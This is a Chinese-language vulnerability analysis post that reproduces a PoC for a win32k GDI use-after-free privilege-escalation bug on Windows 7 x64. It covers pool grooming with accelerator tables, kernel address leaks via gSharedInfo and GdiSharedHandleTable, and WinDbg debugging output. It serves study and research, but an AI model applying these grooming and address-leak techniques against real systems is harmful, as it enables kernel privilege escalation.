这个漏洞属于未正确处理GDI对象导致的UAF类型本地权限提升漏洞
复现环境
- Windows 7 sp1 64位操作系统
- 编译环境Visual Studio 2013
引用
360分析
看雪分析
Poc 分析
关于漏洞的成因,以上两篇引用文章对漏洞的成因已经介绍的很详细,这里不再赘述.本文主要分析漏洞复现的调试过程,和漏洞利用方式的讨论.
在poc中先创建大小为0x350的AcceleratorTable,计算公式为:
ACCEL WINAPI CreateAcceleratorTableW( _In_reads_(cAccel) LPACCEL paccel,_In_ int cAccel);
最终的大小等于(cAccel*6+0x32)&~f
然后又创建了0xcb0大小的AcceleratorTable,这么多个0x350之间的存在空隙,由于其他线程会创建对象占用池的原因,那些创建的小块一般不会大于0xcb0,所以会在多个0x350之间的存在空隙之间堆积,而之后创建的0xcb0大小的AcceleratorTable正好以0xcb00+0x350和方式占满整个一页也就是0x1000大小的空间,又因为0xcb0大小的块数量多余0x350的块,最后0xcb0下方方空余部分可以被同样0x350大小的bitmap和gdi对象占位即图中标识为free的块,占位后池排序方式如下图:

poc中出现了2种类型对象,一种是CreateAcceleratorTableW产生的user object对象,还有一种是通过CreateBitmap或GetCurrentObject产生的gdi对象.
在用户态只返回了产生对象的句柄,但是可以通过如下2中方式找到对象的内核泄露地址,
user object可以在user32.dll的导出函数gSharedInfo中找到泄露内核地址,具体计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
对于gdi对象可以在PEB结构体中的GdiSharedHandleTable中找到泄露内核地址,具体计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff)),下面我们来看调试验证过程.
笔者使用在exsi上用windbg和vs双虚拟机调试内核和用户态的2种方法,具体方法见我的另一篇文章.
对win32k的NtUserCreateAcceleratorTable和win32k!HMAllocObject下断点得到到创建的AcceleratorTable泄露内核地址为fffff900c2877630.
kd> bp win32k!NtUserCreateAcceleratorTable
kd> bp win32k!HMAllocObject "gu;"
kd> g
win32k!CreateAcceleratorTable+0x32:
fffff960`00140ed6 488bf8 mov rdi,rax
//rax就是AcceleratorTable泄露内核地址
kd> !pool @rax
Pool page fffff900c2877630 region is Paged session pool
fffff900c2877000 size: 350 previous size: 0 (Allocated) Gla5
fffff900c2877350 size: 50 previous size: 350 (Free) ...Z
fffff900c28773a0 size: f0 previous size: 50 (Allocated) Gla4
fffff900c2877490 size: f0 previous size: f0 (Allocated) Gla4
fffff900c2877580 size: a0 previous size: f0 (Allocated) Uscu Process: fffffa8004211060
*fffff900c2877620 size: 350 previous size: a0 (Allocated) *Usac Process: fffffa80020cdb30
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
fffff900c2877970 size: 690 previous size: 350 (Free ) Geto
在用户态查看栈变量
0:000> dv /i /t /v
prv local 00000000`001377e0 struct HACCEL__ *[1000] hAccel1 = struct HACCEL__ *[1000]
prv local 00000000`00139740 struct HACCEL__ *[1000] hAccel2 = struct HACCEL__ *[1000]
0:000> dq 00000000`001377e0
00000000`001377e0 00000000`00ae0707 00000000`00a00763
00000000`001377f0 00000000`00230809 00000000`00080803
00000000`00137800 00000000`009500f1 00000000`002e06ff
00000000`00137810 00000000`0086079b 00000000`004f0735
在内核态验证这个AcceleratorTable泄露内核地址
kd> dq user32!gSharedInfo
00000000`76ed26e0 00000000`00630a70 00000000`004b0000
00000000`76ed26f0 00000000`00000018 00000000`00631e50
//计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
kd> dq 00000000`004b0000+18h*0707
//第一行就是AcceleratorTabl句柄
00000000`004ba8a8 fffff900`c2877630 fffff900`c01dbce0
00000000`004ba8b8 00000000`00ae0008 fffff900`c35ee010
00000000`004ba8c8 fffff900`c01dbce0 00000000`00090008
接下来验证gdi对象hgdiObj=00000000`0F050D4E,内核地址为FFFFF900C3041CC0,在内核态验证
kd> !peb
PEB at 000007fffffdc000
...
kd> dt nt!_peb -ny gdi 000007fffffdc000
+0x0f8 GdiSharedHandleTable : 0x00000000`00640000 Void
//计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff))
kd> dq 0x00000000`00640000 +18h*0D4E
//第一行就是gdi对象句柄
00000000`00653f50 fffff900`c3041cc0 41050f05`00000000
00000000`00653f60 00000000`00000000 fffff900`c1f60100
kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30
*fffff900c3041cb0 size: 350 previous size: cb0 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
在ddclient进程退出后再次查看gdi对象的池分布情况
kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30
//可以看到是释放状态
*fffff900c3041cb0 size: 350 previous size: cb0 (Free) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
最后于 2019-8-9 09:01
被王cb编辑
,原因: